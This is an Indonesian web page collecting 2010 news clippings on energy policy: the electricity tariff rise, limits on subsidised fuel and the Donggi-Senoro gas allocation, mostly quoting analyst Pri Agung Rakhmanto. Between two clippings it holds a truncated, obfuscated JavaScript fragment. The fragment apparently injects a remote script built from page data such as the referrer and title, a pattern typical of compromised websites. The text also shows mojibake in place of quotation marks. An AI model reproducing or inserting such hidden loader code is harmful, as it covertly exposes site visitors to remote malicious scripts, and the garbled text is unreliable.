Pemerintah Diminta Waspadai Pengangguran Akibat Tarif Listrik Naik

Media Indonesia, 29 Juni 2010

JAKARTA–MI: Pemerintah diminta mewaspadai potensi peningkatan pengangguran akibat kenaikan tarif dasar listrik rata-rata sebesar 10% mulai 1 Juli 2010.

Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto dalam keterangan pers di Jakarta, Selasa, mengatakan, berdasarkan perhitungan, kenaikan TDL 10% berpotensi meningkatkan pengangguran hingga 1,17 juta tenaga kerja.

“Pemerintah mesti meminimalkan dampak kenaikan TDL seperti kemungkinan PHK dengan menghapuskan berbagai hambatan, sehingga sektor industri bisa bergerak lebih efisien,” katanya.

Pri mengatakan, kenaikan TDL 10% akan menurunkan konsumsi listrik sektor industri sebesar 6,7% dan sekaligus penurunan permintaan tenaga kerja 1,17%. Dengan angka tenaga kerja saat ini mencapai 100 juta, maka penurunan 1,17% setara dengan 1,17 juta tenaga kerja.

Penurunan permintaan konsumsi listrik merupakan upaya efisiensi yang dilakukan industri akibat kenaikan TDL.

Baca Selengkapnya

Tim Terpadu Elpiji tidak Perlu Dibentuk

Media Indonesia, 28 Juni 2010

JAKARTA–MI: Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto mengatakan, pembentukan tim terpadu elpiji sebenarnya tidak diperlukan bila program tersebut dirancang menyeluruh.

“Sebetulnya kalau masing-masing menjalankan tugas dan fungsinya dengan baik, tim terpadu gas itu tidak harus ada. Sehigga memang juga tidak perlu ada dana khusus untuk itu,” ujar Pri Agung. Menurutnya, koordinasi antar instansi pemerintah seharusnya sudah langsung berjalan ketika timbul persoalan sekecil apapun terkait program yang mereka gulirkan. “Jadi seharusnya tidak ada alasan karena tidak ada dana khusus, lalu tim ini tidak bekerja maksimal,” tukasnya.

Kini, setiap instansi harus dituntut untuk menjalankan kewenangannya secara maksimal dan berkoordinasi dalam melaksanakannya. “Dirunut balik saja, pada saat kebijakan ini digulirkan siapa yang bertanggungjawab terhadap apa. Dari sana masalah ini bisa dicari penyelesaiannya. Dengan langkah tegas berupa sanksi bagi yang tidak melaksanakan kewenangan,” ujarnya. (Jaz/OL-9)

ument[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Pemerintah Harus Jamin Pasokan BBM Non Subsidi

Detik Finance, 23 Juni 2010

Jakarta – Pemerintah harus menjamin ketersediaan BBM non subsidi hingga ke pelosok tanah air, jika pembatasan konsumsi BBM bersubsidi diterapkan. “Yang perlu disiapkan segera dalam hal ini adalah jaminan ketersediaan BBM non-subsidinya di seluruh wilayah, terutama di kota-kota kecil,” kata Direktur Eksekutif Refor-Miner Institute, Pri Agung Rakhmanto kepada detikFinance, Rabu (23/6/2010).

Menurut dia, hal ini harus dilakukan untuk menjamin tidak terjadinya kelangkaan pasca kebijakan ini diterapkan. “Jangan sampai sudah dilarang mnggunakan BBM subsidi tapi BBM non subsidi juga sulit didapat,” katanya. Selain itu,

Pri Agung juga menyoroti soal metode pembatasan konsumsi BBM bersubsidi yang akan dipilih pemerintah. Jika pemerintah menggunakan smart card atau membatasi penggunaan BBM bersubsidi bagi kendaraan berdasarkan tahun pembuatan dan cc tertentu, maka menurutnya hal itu tidak realistis untuk dilaksanakan pada bulan September mendatang.

“Kalau pakai metode itu memang terlalu cepat, di samping memang cara ini tidak efektif dan sebaiknya tidak diterapkan,” ucapnya.

Namun, jika pemerintah menetapkan hanya kendaraan umum dan sepeda motor saja yang boleh pakai BBM subsidi dan tidak dibatasi volumenya, maka itu masih memungkinkan (feasible) untuk dilakukan. “Sosialisasi dalam bentuk pengumuman resmi dari pemerintah saya rasa harus dilakukan jika opsi ini yang dipilih, karena ini kan hampir sama dengan kenaikan harga juga sebenarnya,” paparnya.

Seperti diketahui, pemerintah berencana menerapkan pembatasan penggunaan BBM bersubsidi pada bulan Agustus mendatang. Pemerintah memastikan untuk memperbolehkan motor dan kendaraan umum tetap menggunakan BBM bersubsidi.

Sementara untuk kendaraan pribadi dan jenis kendaraan lainnya masih dibahas lebih lanjut oleh tim. “Yang sudah diputuskan adalah motor dan kendaraan umum boleh menggunakan BBM bersubsidi. Sedangkan sisanya nanti akan dikaji lagi kriterianya seperti apa,” kata Evita.

Pasokan Gas Diutamakan untuk PLN dan Pupuk

Kompas, 19 Juni 2010

Jakarta, Kompas – Porsi untuk pasar domestik dari hasil proyek pengolahan gas alam cair Donggi-Senoro, Sulawesi Tengah, diharapkan diutamakan bagi pasokan industri pupuk dan PT PLN. Harapan itu disampaikan Menteri Badan Usaha Milik Negara Mustafa Abubakar seusai rapat di Istana Wakil Presiden, Jakarta, Jumat (18/6).

Menteri Energi dan Sumber Daya Mineral (ESDM) memutuskan, hasil dari Donggi-Senoro 30 persen untuk pasar domestik dan 70 persen untuk ekspor.

Mustafa berharap 15 persen dari porsi domestik dialokasikan untuk pupuk dan PLN. Dua industri ini dinilai paling vital.

Jika lapangan gas Donggi-Senoro berproduksi, PT Pusri akan membangun pabrik di dekat lokasi itu. A�Pusri sudah mengukur kekuatan. Kalau tidak cukup dari dana sendiri, akan didukung perbankan, A�kata dia.

Wakil Kepala BP Migas Hardiono belum bisa memaparkan secara rinci rencana pengembangan Donggi-Senoro setelah keputusan pemerintah itu. A�Kami akan membahasnya dalam rapat Selasa nanti, A�kata dia.

Sebelumnya, Menteri ESDM Darwin Zahedy Saleh memutuskan, gas yang dihasilkan bila memungkinkan seluruhnya untuk keperluan domestik. A�Dengan menimbang aspek tekno-ekonominya, sekurangnya 25-30 persen untuk domestik, A�kata dia.

Penerapan kebijakan itu diharapkan mempertimbangkan kesanggupan konsumen domestik membeli dengan harga wajar. Pihak-pihak yang berinvestasi diminta merencanakan dan merealisasikan investasinya seefisien dan seekonomis mungkin di bawah pengawasan Badan Pelaksana Kegiatan Hulu Migas.

Pengamat perminyakan Pri Agung Rakhmanto menilai keputusan itu normatif. A�Seharusnya lebih tegas. Sepertinya pemerintah tidak berani lugas menyatakan, alokasi domestik 25-30 persen, A�kata dia.

Padahal, yang ditunggu dari Menteri ESDM adalah persetujuan formal untuk sales appointed agreement. Dalam surat Menteri ESDM ke BP Migas, terkesan menteri meminta BP Migas yang memutuskan. Padahal, sebagai badan pelaksana, BP Migas hanya melaksanakan dan mengawasi apa yang diputuskan menteri.

Keputusan Alokasi Gas Donggi- Senoro Normatif dan Aneh

Detik Finance, 18 Juni 2010

Jakarta – Pemerintah dinilai tidak tegas dalam mengambil keputusan alokasi gas Donggi Senoro. Keputusan yang diambil pemerintah masih bersifat abu-abu karena tidak secara lugas menyampaikan bahwa 25%-30% gas itu dialokasikan untuk domestik. “Kalau isinya seperti itu, masih sangat normatif, tidak tegas sama sekali. Bahkan aneh,”ujar Direktur Eksekutif Refor-Miner Institute, Priagung Rakhmanto saat dihubungi detikfinance, Jumat (18/6/2010).

Lagipula, dalam surat Menteri ESDM Darwin Zahedy Saleh yang ditujukan kepada Kepala BP Migas R Priyono justru menegaskan bahwa politisi asal partai demokrat tersebut meminta kepada kepala BP Migas untuk memutuskan soal kepastian alokasi gas tersebut. “Yang memutuskan secara formal itu kan Menteri ESDM sendiri, bukan Kepala BP Migas. Ini kok seperti meminta BP Migas yang memutuskan. BP Migas hanya melaksanakan dan mengawasi apa yang diputuskan secara formal oleh Menteri ESDM,” jelasnya.

Pri Agung menyatakan kalau memang belum ada keputusan resmi dari Menteri ESDM maka surat tersebut tidak berarti apa-apa dan belum ada kemajuan sama sekali dalam masalah ini. “Tapi kalau sebenarnya sudah ada keputusan resmi tetapi tidak diekspose, maka surat itu jadi mirip juklak. Tapi juklak yang tersamar karena sepertinya tidak berani mengatakan secara lugas bahwa alokasi domestik 25-30%,” kritiknya.

Pada kesempatan yang sama, Pri Agung juga meminta kepada pemerintah agar tidak mengulang lagi sikap bertele-tele dalam mengambil keputusan. Sikap seperti ini dikhawatirkan akan memperburuk iklim investasi migas di tanah air. “Sebaiknya penundaan-penundaan atau bertele-telenya keputusan semacam ini, yang sebenarnya sudah jelas semuanya dari awal, tidak diulang lagi kedepannya karena akan memperburuk iklim investasi migas,” paparnya.

Seperti diketahui, Menteri ESDM Darwin Zahedy Saleh telah menandatangani surat mengenai alokasi gas Donggi Senoro. Berdasarkan surat Nomor 4186/13/MEM.M/2010/2010 mengenai proyek pengembangan gas bumi Donggi Senoro yang diperoleh detikFinance,

pemerintah melalui Menteri ESDM memutuskan agar gas bumi yang dihasilkan bila memungkinkan dialokasikan seluruhnya untuk keperluan domestik; atau dengan mempertimbangkan aspek tekno-ekonominya sekurang-kurangnya 25%-30% untuk keperluan domestik. Menurut Darwin, keputusan itu diambil sesuai arahan Wakil Presiden dan Menteri Koordinator Bidang Perekonomian dalam rapat di kantor Wakil Presiden pada tanggal 1 Juni 2010, serta rekomendasi hasil kajian tim teknis internal Kementerian ESDM dan rekomendasi tim independent.

“Agar kebijakan pemanfaatan gas bumi tersebut dilaksanakan dengan mempertimbangkan kesanggupan konsumen domestik untuk membeli dengan harga yang wajar,” ungkap Darwin dalam surat yang ditandatangani pada Kamis (17/6/2010).

Dalam surat yang ditujukan kepada Kepala BP Migas R Priyono, Darwin meminta agar BP Migas meningkatkan pengawasan pelaksanaan proyek pengembangan lapangan gas Donggi Senoro sehingga aspek keekonomian lapangan dimaksud dapat dipertanggungjawabkan.

“Agar pihak-pihak yang berinvestasi merencanakan dan merealisasikan investasinya seefisien dan seekonomis mungkin, demi kelayakan dan keberlanjutan usahanya,” lanjut Darwin. Selain itu, pemerintah mengingatkan kepada badan usaha yang terkait supaya permasalahan mengenai persaingan usaha yang ada pada Komisi Pengawas Persaingan Usaha (KPPU) dicermati sesuai dengan peraturan perundang-undangan.

Kontraktor Migas Diminta Tingkatkan Anggaran Eksplorasi

Kompas,A�11 Juni 2010

Jakarta, Kompas – Badan Pelaksana Kegiatan Hulu Minyak dan Gas Bumi meminta agar para kontraktor kontrak kerja sama migas meningkatkan anggaran eksplorasi menuju kondisi ideal, yakni 15-20 persen dari anggaran. Hal ini jadi syarat persetujuan rencana kerja dan anggaran tahunan kontraktor migas.

Eksplorasi migas harus ditingkatkan, tetapi tidak dengan cara paksa lewat syarat minimal persentase di anggaran. Kalau memang tidak prospektif, apa ya tetap disuruh eksplorasi. Tidak bisa dengan pendekatan birokratis seperti itu, A�kata pengamat energi Pri Agung Rakhmanto di Jakarta, Kamis (10/6).

Kegiatan eksplorasi akan meningkat dengan sendirinya jika iklimnya kondusif, misalnya wilayah kerja yang prospektif, disertai data awal prospektus cukup, birokrasi dan ketentuan perpajakan dipermudah.

Sebelumnya Wakil Kepala BP Migas Hardiono menjelaskan, saat ini anggaran eksplorasi hanya 5 persen dari anggaran yang dikeluarkan kontraktor. Jumlah ini lebih rendah dari anggaran administrasi yang mencapai 9 persen dari total investasi.

Sejak tahun 2000, kegiatan eksplorasi menurun signifikan. Pasalnya, banyak perubahan aturan perundangan yang membuat investor ragu-ragu menanamkan investasinya.

Isu pembatasan biaya operasi yang bisa ditagihkan ke negara atau cost recovery menambah rendah alokasi untuk eksplorasi. Pembatasan anggaran membuat program yang diajukan kontraktor KKS migas hanya kegiatan-kegiatan yang tidak agresif.

Hal ini menghambat penemuan cadangan migas di lapangan-lapangan baru dan di lapangan beroperasi.

Contohnya, selama tahun 1990-2000, saat rata-rata eksplorasi 10 persen, cadangan migas yang ditemukan 223 juta barrel ekuivalen minyak. Dengan anggaran 5 persen, rata-rata temuan eksplorasi 137 juta barrel ekuivalen minyak per tahun.

Memasuki tahun 2010, BP Migas mendorong kontraktor migas untuk mencari strategi baru eksplorasi. Rasio keberhasilan eksplorasi Indonesia yang sekitar 40-50 persen, dengan sukses keekonomian 30 persen, harus dimanfaatkan pihak terkait.

Secara terpisah, Wakil Ketua Asosiasi Perminyakan Indonesia Sammy Hamzah menyatakan, tantangan pemerintah lebih besar karena tingkat risiko eksplorasi jauh lebih tinggi dibandingkan dengan produksi.

Secara geologis, rasio kesuksesan pengeboran di Indonesia lebih kecil dibandingkan dengan negara lain, seperti Libya. A�Pemerintah harus memberikan insentif dan kemudahan bagi investor agar mau menanamkan uang untuk eksplorasi, A�ujarnya.

Sementara itu, secara hukum aset kontraktor migas merupakan milik negara. Hal ini dikatakan Kepala Divisi Humas, Sekuriti, dan Formalitas BP Migas

Agus Suryono menanggapi dikeluarkannya aset kontraktor migas Rp 281,2 triliun dari neraca Laporan Keuangan Pemerintah Pusat karena status kepemilikan tidak jelas dan pencatatan tak memenuhi kaidah akuntansi.

Secara administratif, sesuai Peraturan Pemerintah (PP) Nomor 42 Tahun 2002 tentang BP Migas disebutkan, seluruh aset negara yang dikelola Pertamina dan sebelum PP itu ditetapkan digunakan kontraktor kontrak bagi hasil beralih pengelolaannya kepada Badan Pelaksana setelah mendapat persetujuan dari Menteri Keuangan.

Persetujuan Menteri Keuangan itu hanya untuk saldo awal aset negara dari kontrak kerja sama yang digunakan sebelum terbitnya UU No 22 Tahun 2001 tentang migas.

Untuk menyiapkan penetapan saldo awal aset negara, dibentuk tim antardepartemen yang beranggotakan BP Migas, Kementerian Energi dan Sumber Daya Mineral, Kementerian Keuangan, serta Pertamina.

Meski demikian, secara administrasi, kontrak kerja sama pencatatan aset telah dilakukan kontraktor migas di bawah pengendalian dan pengawasan BP Migas. (EVY)

 

Seharusnya BBM Mobil Pejabat yang Dibatasi

Okezone.com, 31 mei 2010

JAKARTA-Banyak kalangan yang menyesalkan wacana pemerintah untuk melakukan pembatasan BBM bersubsidi terhadap sepeda motor. Direktur EksekutifA�Reforminer InstituteA�Pri Agung Rakhmanto mengatakan, opsi pembatasan pembelian BBM tidak akan efektif.Menurutnya, saat ini yang harus dilakukan pemerintah adalah membenahi transportasi massal sehingga penggunaan kendaraan pribadi, baik kendaraan roda empat maupun sepeda motor, berkurang. “Kalau memang ingin efektif dan menyelesaikan sampai akar masalah ya benahi transportasi massal itu.

Kalaupun terpaksa pembatasan itu, ya pilihlah yang lebih rasional dan lakukan secara bertahap, A�ungkap Pri Agung di Jakarta. Dia menuturkan, untuk tahap awal, pemerintah bisa membatasi pembelian BBM bersubsidi untuk kendaraan milik pejabat. Setelah itu menyusul pembatasan untuk kendaraan pribadi mewah. “Batasi mobil pejabat dulu lalu mobil pribadi mewah, lalu biasa, baru motor.

Kalau motor dulu dampak sosialnya besar karena pemilik motor relatif orang yang kurang mampu dibandingkan pemilik mobil,” ujarnya. Pengurus Harian Yayasan Lembaga Konsumen Indonesia (YLKI) Tulus Abadi menilai, pembatasan pembelian BBM bersubsidi bagi sepeda motor adalah sesuatu yang konyol apabila dilakukan saat ini. Pasalnya, tidak ada keinginan dari pemerintah untuk melakukan perbaikan transportasi massal terlebih dahulu. A�Intinya boleh bahwa subsidi bukan untuk kendaraan pribadi.

Tapi kalau diterapkan sekarang, tanpa perbaikan angkutan umum massal, itu konyol, A�paparnya. Sementara itu Anggota Komisi VII DPR M Romahurmuziy berpendapat, sepeda motor tetap harus menjadi penerima BBM bersubsidi. Meski tingkat pertumbuhannya cukup tinggi, sepeda motor adalah moda transportasi rakyat ekonomi menengah ke bawah yang paling efektif.

Jangan (juga) mematikan industri motor nasional yang terus tumbuh, A�ungkap Romahurmuziy. Ketua Kelompok Komisi (Kapoksi) Badan Anggaran ini juga menegaskan, pembatasan pembelian BBM bersubsidi harus menjadi alternatif terakhir dan hanya dikenakan pada kendaraan pribadi dengan kapasitas silinder 1.500 cc ke atas. Adapun angkutan umum dan barang tetap harus mendapatkan prioritas sebagai penerima BBM bersubsidi.